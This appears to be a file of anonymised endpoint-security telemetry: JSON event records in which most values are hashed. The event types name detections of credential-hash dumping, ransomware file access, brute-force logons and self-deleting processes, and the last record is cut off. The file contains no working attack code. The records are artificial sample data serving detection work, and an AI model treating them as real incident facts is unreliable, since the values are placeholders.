-{"ContextBaseFileName":"481bc1a027f891f9b","Options":"66717670","ContextThreadId":"270140900130850060","MinorFunction":"0","aip":"89.160.20.128","Information":"3","FileIdentifier":"3983fc13457464a741b39fba5bb2260604ddb049477359f2","event_platform":"Win","ShareAccess":"1","EventOrigin":"1","id":"182d52dbecaca7970cb63c42addda760f512","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewScriptWritten","ContextTimeStamp":"1756143143.835","ConfigStateHash":"8200073020","ContextProcessId":"211820800920708240","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5060417","Entitlements":"66","name":"af0673bdd782d244e9c","OperationFlags":"0","aid":"d6c18cb814c9100d81bedd3b4290407f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config"} -{"FileOperatorSid":"S-72386-31002-81578-35580-81320-88994-11078","ContextBaseFileName":"7592a3326e8f","FileCategory":"2","Size":"70097","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\237ca1ff\\9f8125ec","id":"50b4564705009d4d899b257c4f60806debaf","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OleFileWritten","ContextTimeStamp":"1754452910.026","ConfigStateHash":"9080600092","ContextProcessId":"3609070495594","IrpFlags":"0","AuthenticationId":"10050074","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"52f49e17cbb3258ec","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms"} -{"FileOperatorSid":"S-14916-87933-54904-21020-22768-89969-67859","ContextBaseFileName":"f8d3910f48a","FileCategory":"2","Size":"4008","ContextThreadId":"406830433040004","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\4db87fa6\\901bda80","id":"fa7433e86a344c7c471c159189a5d9e46b61","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1757793265.081","ConfigStateHash":"205997984","ContextProcessId":"3902807870001","IrpFlags":"0","AuthenticationId":"1046050","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"2486640","Entitlements":"16","name":"7233ba49d5aea975e9d","OperationFlags":"0","aid":"4274e60578e437f258cd288fc421c898","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx"} -{"event_simpleName":"PackedExecutableWritten","ConfigStateHash":"50820000","ContextProcessId":"600400303060","aip":"216.160.83.56","FileSubType":"1","SHA256HashData":"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"66","name":"e1363774d0bedd151e540a3f0","EventOrigin":"1","id":"46fbd2ea624c1d37a02f228b5e07a641ba5d","EffectiveTransmissionClass":"3","aid":"827afde25ba0eeda5d204a68ff612048","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll"} -{"FileOperatorSid":"S-67387-98466-95492-13435-71780-89109-76365","ContextBaseFileName":"8bccb383613c62792a","FileCategory":"2","Size":"90700","ContextThreadId":"599818020897405","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\3fcf5e12","id":"e3b7d2a5cd6687e005e8d8440762de1a5cba","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PdfFileWritten","ContextTimeStamp":"1749743187.245","ConfigStateHash":"3000500100","ContextProcessId":"90797090022909","IrpFlags":"0","AuthenticationId":"107430","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"0ae43bcd866d0651b","OperationFlags":"0","aid":"972c7871709024649af8a061337fe15f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf"} -{"FileOperatorSid":"S-75678-67909-19006","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"6","Size":"36724","ModuleCharacteristics":"800","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073","event_platform":"Win","TokenType":"1","ImageCheckSum":"0","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","ImageSubsystem":"2","id":"d5f767539bfcb8d8aede98bf95736a049e78","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PeFileWritten","ContextTimeStamp":"1752518074.515","UserName":"a7d64dd9c23669","ConfigStateHash":"90089570","IsTransactedFile":"0","ContextProcessId":"3097482600003","IrpFlags":"0","ImageEntryPoint":"4040","SHA256HashData":"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0","AuthenticationId":"830","ContextImageFileName":"\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DllCharacteristics":"0","IsOnRemovableDisk":"0","ImageTimeStamp":"2526530060","Entitlements":"16","name":"5f323af958b5a344","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe"} -{"event_simpleName":"PeVersionInfo","ConfigStateHash":"30820000","aip":"89.160.20.112","SHA256HashData":"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78","ConfigBuild":"2c8b.4.ae3729d.e6","VersionInfo":"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937","CompanyName":"48fd8e96569f1cb4","FixedFileVersion":"81.2.69.142","event_platform":"Win","OriginalFilename":"71f2cbc28fc61e5b304e","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe","FileVersion":"81.2.69.192","Entitlements":"16","name":"510aa45e1032311","EventOrigin":"45","id":"51fdaf250bbe8ba7a3d2f76e5160dbcf2719","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","LanguageId":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"266500049070090","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"PrivilegedProcessHandleFromUnsignedModule","ContextTimeStamp":"1751718895.992","ConfigStateHash":"3440491101","ContextProcessId":"8080063970217","SHA256HashData":"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5","ExtendedKeyUsages":"1","FileSigningTime":"1601400887.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"3542590006570","DesiredAccess":"5900","ImageFileName":"\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe","Entitlements":"86","name":"891d960d630f07080d2bbd00503c6ca04d9007b20af","aid":"6b6c287c6e8ce2041ce47a740e621689","SignInfoFlags":"932000","Object1Type":"81030550010000800400","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} -{"event_simpleName":"ProcessExecOnPackedExecutable","ConfigStateHash":"550603001","ContextProcessId":"2492243565020","aip":"89.160.20.112","FileSubType":"4","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"1080047380010","Entitlements":"96","name":"deb18e9d761c09c713b0634dc553304","EventOrigin":"1","id":"17ef479f49727073c1afd6d8d3ede95a561e","EffectiveTransmissionClass":"3","aid":"2aff58e38d0a0bf09e91cfee7bcb819e","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ProcessExecOnSMBFile","UserName":"601f56394305","ConfigStateHash":"3030480009","ContextProcessId":"2002000091665","aip":"89.160.20.112","LogonDomain":"6e","AuthenticationId":"30409004030","UserPrincipal":"testuser@test.com","UserSid":"S-70019-66419-130-71535-26067-98292-95578","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PatternId":"459","ClientComputerName":"1a241b813c0288","Entitlements":"36","name":"8f744680ad930347c854bf","EventOrigin":"1","id":"0b8735c9a332451c9040cce79b716849ed11","EffectiveTransmissionClass":"3","aid":"b956f48020b41a099bfc062444b8ea38","RemoteAddressIP4":"81.2.69.144","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ProcessCreateFlags":"4","IntegrityLevel":"90902","ParentProcessId":"3000051703140","SourceProcessId":"8000051703140","aip":"81.2.69.142","SHA1HashData":"9692067083780606753097782045800757094700","UserSid":"S-62374-88856-1334","event_platform":"Win","TokenType":"1","ProcessEndTime":"","AuthenticodeHashData":"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4","ParentBaseFileName":"bce7ccba7d55464cc50","EventOrigin":"1","ImageSubsystem":"2","id":"36f0bb29be278fc8322806730ffa12e53207","EffectiveTransmissionClass":"3","SessionId":"0","Tags":"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2","timestamp":"1743508799999","event_simpleName":"ProcessRollup2","RawProcessId":"10603","ConfigStateHash":"710307050","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331","ProcessSxsFlags":"26","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","WindowFlags":"274","CommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5","ParentAuthenticationId":"830","TargetProcessId":"8200110794047","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","SourceThreadId":"400901163020000","Entitlements":"46","name":"f9ba95e9061aae4be","ProcessStartTime":"1745988595.443","ProcessParameterFlags":"41103","aid":"40b756af7c1d76ef66cb380d94090915","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ProcessSelfDeleted","ContextTimeStamp":"1748026781.961","ConfigStateHash":"5080600092","ContextProcessId":"8008070284808","SourceProcessId":"8020239020790","aip":"81.2.69.144","SHA256HashData":"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"5100718000400","ImageFileName":"\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe","Entitlements":"16","name":"1a4daccccece9ef5ba96","EventOrigin":"1","id":"37ea1966fb73e596eaceeeda74969e0cf6fe","EffectiveTransmissionClass":"2","aid":"4a13114d95ed726004929f3de3863e97","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"RansomwareFileAccessPattern","ConfigStateHash":"7800020060","ContextProcessId":"1005300580270","SourceFileName":"\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf","aip":"89.160.20.112","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","PatternId":"684","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","Entitlements":"36","name":"678e528c681bbe14db4667945d920","EventOrigin":"1","ClientId":"81","id":"791f3434f4eb1f2494635bfa6c51a2855d12","EffectiveTransmissionClass":"3","aid":"ce205ce972e1ec0b34c552d96f46397a","Tags":"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql"} -{"Options":"90328446","ContextThreadId":"344002022970675","MinorFunction":"0","aip":"89.160.20.112","BoundingLimitCount":"1","Information":"1","FileIdentifier":"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612","event_platform":"Win","ShareAccess":"7","EventOrigin":"1","id":"13e038874f0490733a5191031434b8657382","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"RansomwareOpenFile","ContextTimeStamp":"1751029020.082","ConfigStateHash":"9250777000","ContextProcessId":"7701685113510","IrpFlags":"2500","ConfigBuild":"2c8b.4.bab7095.e6","MajorFunction":"0","DesiredAccess":"5750008","BoundingLimitDuration":"5486640","Entitlements":"26","name":"4c8f7117e5d227bf9ddc","OperationFlags":"0","aid":"ea08505420aa828a0a52a6eed3c8a196","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"} -{"ContextThreadId":"98420079085202","aip":"89.160.20.112","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a","RegClassificationFlags":"454","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"2e723341d059eefec4c8ff3c9062764c68e3","EffectiveTransmissionClass":"3","RegStringValue":"1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1","timestamp":"1743508799999","event_simpleName":"RegGenericValueUpdate","ContextTimeStamp":"1761698586.458","ConfigStateHash":"3440491101","ContextProcessId":"2090006508607","RegType":"7","RegClassificationIndex":"430","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"ee0bc2006c367f53b607da1122e","RegClassification":"806","Entitlements":"66","name":"0e92d5a77de501c1f1c9064","aid":"52cf03e6cbd930e0081ab561b4366e03","cid":"4092825518eaf67377a6e4492ae44577"} -{"TemplateInstanceId":"10229","aip":"81.2.69.142","RegClassificationFlags":"1","RegObjectName":"\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"2","event_platform":"Win","PatternId":"24871","EventOrigin":"1","id":"46ae86d862c2856f051da60792378c9a659e","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"RegistryOperationDetectInfo","ConfigStateHash":"6000088020","TemplateDisposition":"40","ContextProcessId":"209450604006","RegClassificationIndex":"3","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"d4ae4138ea91","CommandLine":"54d\\9134161b\\b169fe25\\d528e266.exe\"","RegClassification":"40","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe","Entitlements":"86","name":"ac9954e67836781b8f5b89ec31d8d","aid":"8b6270fbf7dd1d35cb564438ccd92475","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"700420809200030","aip":"81.2.69.192","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"RemoteBruteForceDetectInfo","UserName":"","ConfigStateHash":"6870020050","ContextProcessId":"25700434000","LogonType":"3","aip":"81.2.69.144","LogonDomain":"","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"82\\340d600\\4a6a0a4b\\4cdbc.exe","TotalCount":"4051","PatternId":"200","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe","Entitlements":"66","name":"35b635ba0a924203f13f0a9f8f7d","EventOrigin":"1","id":"2e41e2c0447e07249a69dbdc70a72aec40d4","EffectiveTransmissionClass":"3","aid":"a72936ae0acff156c05af8238b6a10eb","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"VolumeSessionUUID":"c8838ad8-1da8-43ae-8c85-3c2309eab164","ContextThreadId":"300005906805","aip":"81.2.69.192","VolumeMountPoint":"\\e2\\cf8397ea","VolumeDriveLetter":"4e","event_platform":"Win","VolumeDeviceObjectFlags":"0","VolumeFileSystemDevice":"\\ddc","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\6b634d3d\\7a5851b","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","VolumeDeviceCharacteristics":"100402","id":"5762ba1aab05fd80cadfb13f146bc3ce868c","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RemovableMediaVolumeMounted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1751260262.872","VolumeSectorSize":"940","ConfigStateHash":"8090285900","ContextProcessId":"655070024024","VolumeRealDeviceName":"\\6ba0bd\\257d4e13","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"3","IsOnRemovableDisk":"1","Entitlements":"96","name":"b47570143699a945cde3e5764a9843","aid":"6d58dee7855f7a94dc887ec52805de46","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-49065-57943-32307","ContextBaseFileName":"6866e9cdd4c02","FileCategory":"2","Size":"507310","ContextThreadId":"1006000509974","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\dc08d203\\6d4a9f57","id":"a6c319e36889013fd1a9cb1e28db73a2d47b","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RtfFileWritten","ContextTimeStamp":"1756008851.353","UserName":"352ad1966","ConfigStateHash":"30820000","ContextProcessId":"600400303060","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"8486640","Entitlements":"86","name":"e5968210c929a23b0","OperationFlags":"0","aid":"827afde25ba0eeda5d204a68ff612048","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf"} -{"KeyObject":"70075630231265270000","ContextThreadId":"40890360000294","aip":"81.2.69.192","PublicKeys":"0","RegPostObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5","RegKeyName":"","event_platform":"Win","EventOrigin":"1","id":"4cd0f3ad236f3d16670462b9d7b5bb5c129a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"SAMHashDumpFromUnsignedModule","ContextTimeStamp":"1757470178.153","ConfigStateHash":"770065302","ContextProcessId":"9083291189505","RegRootObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771","SHA256HashData":"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe","ExtendedKeyUsages":"1","RegCreateDisposition":"2","FileSigningTime":"1653525170.000","ConfigBuild":"2c8b.4.ae3729d.e6","DesiredAccess":"106086","ImageFileName":"\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe","Entitlements":"66","name":"cece108ee2dfd89f1ac8e4648ab61ed","RegCreateOptions":"0","aid":"1085124e43b788dc1142faa8282f3160","SignInfoFlags":"107067","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} -{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4004620865900","id":"6df4383ea32ec03f3e4d828c8771350c6861","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskDeleted","ContextTimeStamp":"1753865664.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"60255","ContextProcessId":"6804094900076","RpcClientThreadId":"724002090409000","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"bd3d6bea\\9af0ff\\29eab3a3","RpcOpNum":"30","Entitlements":"66","name":"4996adce55e68cf01c05c7","aid":"4b4df0f0e24c600fcc98e7444c1af658","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"81.2.69.192","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"3887070022276","id":"43b952c0225cd04c3a42b9e4b7264eecca9d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskModified","ContextTimeStamp":"1747937437.152","UserName":"057bcb1d4","ConfigStateHash":"9080600092","InterfaceVersion":"80255","ContextProcessId":"9000002203869","RpcClientThreadId":"799160078000747","TaskXml":"4a199d96.com/windows/2004/02/mit/task\">\r\n \r\n FSSB0930$\r\n \\c7bac469\\d598026\\1f6f4b17\\7e6a0826","TaskAuthor":"057bcb1d4","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\d598026\\1f6f4b17\\4e7075fa","RpcOpNum":"1","Entitlements":"26","name":"569b2099134ca0f589a09d0","TaskExecArguments":"/650a61d7","aid":"096a526846b73e64ffebbc72ded8f018","TaskExecCommand":"fa692415fa9d","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4950486027003","id":"c7674af79959a3dacc5f7ca39360a5e76431","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskRegistered","ContextTimeStamp":"1755302168.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"50255","ContextProcessId":"6804094900076","RpcClientThreadId":"900200906000878","TaskXml":"3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe\r\n /checkin\r\n \r\n 